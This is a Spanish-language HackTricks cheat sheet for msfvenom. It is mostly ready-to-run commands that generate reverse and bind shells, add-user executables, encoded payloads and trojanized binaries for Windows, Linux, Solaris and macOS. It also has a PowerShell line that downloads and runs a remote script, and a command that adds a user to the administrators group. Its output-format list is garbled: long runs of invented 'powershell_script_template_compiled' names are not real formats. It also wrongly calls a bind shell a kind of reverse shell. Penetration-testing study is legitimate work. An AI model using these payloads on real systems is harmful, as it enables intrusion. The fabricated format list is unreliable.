# MSFVenom - Hoja de trucos
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
🐞 Lee tutoriales de errores web3
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
💬 Participa en discusiones comunitarias
`msfvenom -p -e -f -i LHOST=`
También se puede usar `-a` para especificar la arquitectura o `--platform`.
## Listado
```bash
msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders
```
## Parámetros comunes al crear un shellcode
### `-p` / `--payload`
El parámetro `-p` o `--payload` se utiliza para especificar el payload que se utilizará para crear el shellcode. El payload es el código que se ejecutará en la máquina objetivo después de que se haya explotado la vulnerabilidad.
### `-f` / `--format`
El parámetro `-f` o `--format` se utiliza para especificar el formato de salida del shellcode. Los formatos comunes incluyen `raw`, `c`, `python`, `ruby`, `dll`, `exe`, `msi`, `psh`, `asp`, `jsp`, `war`, `pl`, `elf`, `macho`, `apk`, `osx-app`, `deb`, `rpm`, `jar`, `hta`, `vba`, `vbs`, `js_le`, `js_be`, `php`, `py`, `sh`, `bash`, `powershell`, `powershell_base64`, `powershell_reflective_dll`, `powershell_script_template`, `powershell_script_template_encoded`, `powershell_script_template_compiled`, `powershell_script_template_compiled_x86`, `powershell_script_template_compiled_x64`, `powershell_script_template_compiled_x86_dll`, `powershell_script_template_compiled_x64_dll`, `powershell_script_template_compiled_x86_exe`, `powershell_script_template_compiled_x64_exe`, `powershell_script_template_compiled_x86_msi`, `powershell_script_template_compiled_x64_msi`, `powershell_script_template_compiled_x86_psh`, `powershell_script_template_compiled_x64_psh`, `powershell_script_template_compiled_x86_vba`, `powershell_script_template_compiled_x64_vba`, `powershell_script_template_compiled_x86_vbs`, `powershell_script_template_compiled_x64_vbs`, `powershell_script_template_compiled_x86_wsh`, `powershell_script_template_compiled_x64_wsh`, `powershell_script_template_compiled_x86_js_le`, `powershell_script_template_compiled_x64_js_le`, `powershell_script_template_compiled_x86_js_be`, `powershell_script_template_compiled_x64_js_be`, `powershell_script_template_compiled_x86_php`, `powershell_script_template_compiled_x64_php`, `powershell_script_template_compiled_x86_py`, `powershell_script_template_compiled_x64_py`, `powershell_script_template_compiled_x86_sh`, `powershell_script_template_compiled_x64_sh`, `powershell_script_template_compiled_x86_bash`, `powershell_script_template_compiled_x64_bash`, `powershell_script_template_compiled_x86_powershell`, `powershell_script_template_compiled_x64_powershell`, `powershell_script_template_compiled_x86_powershell_base64`, `powershell_script_template_compiled_x64_powershell_base64`, `powershell_script_template_compiled_x86_powershell_reflective_dll`, `powershell_script_template_compiled_x64_powershell_reflective_dll`, `powershell_script_template_compiled_x86_powershell_script_template`, `powershell_script_template_compiled_x64_powershell_script_template`, `powershell_script_template_compiled_x86_powershell_script_template_encoded`, `powershell_script_template_compiled_x64_powershell_script_template_encoded`, `powershell_script_template_compiled_x86_powershell_script_template_compiled`, `powershell_script_template_compiled_x64_powershell_script_template_compiled`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_dll`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_dll`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_dll`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_dll`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_exe`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_exe`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_exe`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_exe`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_msi`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_msi`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_msi`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_msi`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_psh`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_psh`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_psh`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_psh`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_vba`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_vba`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_vba`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_vba`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_vbs`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_vbs`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_vbs`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_vbs`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_wsh`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_wsh`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_wsh`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_wsh`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_js_le`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_js_le`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_js_le`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_js_le`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_js_be`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_js_be`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_js_be`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_js_be`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_php`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_php`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_py`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_py`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_sh`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_sh`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_sh`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_sh`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_bash`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_bash`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_bash`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_bash`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_powershell`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_powershell`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_powershell`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_powershell`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_powershell_base64`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_powershell_base64`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_powershell_base64`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_powershell_base64`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_powershell_reflective_dll`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_powershell_reflective_dll`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_powershell_reflective_dll`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_powershell_reflective_dll`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_powershell_script_template`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_powershell_script_template`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_powershell_script_template`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_powershell_script_template`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_powershell_script_template_encoded`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_powershell_script_template_encoded`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_powershell_script_template_encoded`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_powershell_script_template_encoded`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_powershell_script_template_compiled`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_powershell_script_template_compiled`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_powershell_script_template_compiled`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_powershell_script_template_compiled`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_powershell_script_template_compiled_x86`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_powershell_script_template_compiled_x86`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_powershell_script_template_compiled_x86`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_powershell_script_template_compiled_x86`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_powershell_script_template_compiled_x64`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_powershell_script_template_compiled_x64`, `powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_powershell_script_template_compiled_x64`, `powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_powershell_script_template_compiled_x64`.
### `-e` / `--encoder`
El parámetro `-e` o `--encoder` se utiliza para especificar el encoder que se utilizará para codificar el payload. Los encoders se utilizan para evadir la detección de antivirus y otras medidas de seguridad. Los encoders comunes incluyen `shikata_ga_nai`, `x86/shikata_ga_nai`, `alpha_mixed`, `alpha_upper`, `avoid_utf8_tolower`, `call4_dword_xor`, `countdown`, `fnstenv_mov`, `jmp_call_additive`, `nonalpha`, `nonupper`, `polymorphic`, `print_badchars`, `remove_badchars`, `unicode_mixed`, `unicode_upper`, `x86/alpha_mixed`, `x86/alpha_upper`, `x86/avoid_utf8_tolower`, `x86/call4_dword_xor`, `x86/countdown`, `x86/fnstenv_mov`, `x86/jmp_call_additive`, `x86/nonalpha`, `x86/nonupper`, `x86/unicode_mixed`, `x86/unicode_upper`.
### `-a` / `--arch`
El parámetro `-a` o `--arch` se utiliza para especificar la arquitectura de la máquina objetivo. Las arquitecturas comunes incluyen `x86`, `x64`, `x86_64`, `armle`, `armbe`, `aarch64`, `mipsle`, `mipsbe`, `ppc`, `ppc64`, `sparc`, `sparc64`.
### `-b` / `--bad-chars`
El parámetro `-b` o `--bad-chars` se utiliza para especificar los caracteres que no se deben incluir en el shellcode. Los caracteres comunes que se deben evitar incluyen `\x00`, `\x0a`, `\x0d`, `\x20`.
### `-n` / `--nopsled`
El parámetro `-n` o `--nopsled` se utiliza para especificar el tamaño del nopsled que se utilizará en el shellcode. El nopsled es una serie de instrucciones `NOP` que se utilizan para deslizar el shellcode en la memoria y asegurarse de que se ejecuta correctamente.
```bash
-b "\x00\x0a\x0d"
-f c
-e x86/shikata_ga_nai -i 5
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
```
## **Windows**
### **Shell Inverso**
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
```
### Shell de Enlace
```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
```
### Crear Usuario
```bash
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```
### Shell CMD
```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```
### **Ejecutar Comando**
---
#### **Descripción**
La opción `CMD` de `msfvenom` permite ejecutar un comando en la máquina objetivo después de que se haya ejecutado el payload.
#### **Sintaxis**
```
msfvenom -p CMD='' [...]
```
#### **Ejemplo**
El siguiente comando generará un payload de Meterpreter que ejecutará el comando `whoami` en la máquina objetivo después de que se haya ejecutado el payload:
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o payload.exe CMD='whoami'
```
```bash
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
```
### Codificador
```bash
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
```
### Incrustado dentro de un ejecutable
```bash
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
```
## Cargas útiles de Linux
### Shell Inverso
```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
```
### Shell de Enlace
```bash
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
```
### SunOS (Solaris)
SunOS (Solaris) es un sistema operativo basado en Unix desarrollado por Sun Microsystems. Es utilizado en servidores y estaciones de trabajo de alta gama. Para generar payloads para Solaris, se puede utilizar el siguiente comando de msfvenom:
```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
```
## **Cargas útiles de MAC**
### **Shell inverso:**
```bash
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
```
### **Shell de enlace**
A Bind Shell es un tipo de shell inversa en la que el objetivo es conectarse a la máquina que ejecuta el shell. En lugar de que el shell se conecte a un puerto en el atacante, el atacante se conecta a un puerto en la víctima y el shell se ejecuta en ese puerto. Esto significa que el shell está "enlazado" al puerto en la víctima y está esperando una conexión entrante.
Para crear un shell de enlace con msfvenom, se utiliza el siguiente comando:
```
msfvenom -p LHOST= LPORT= -f -o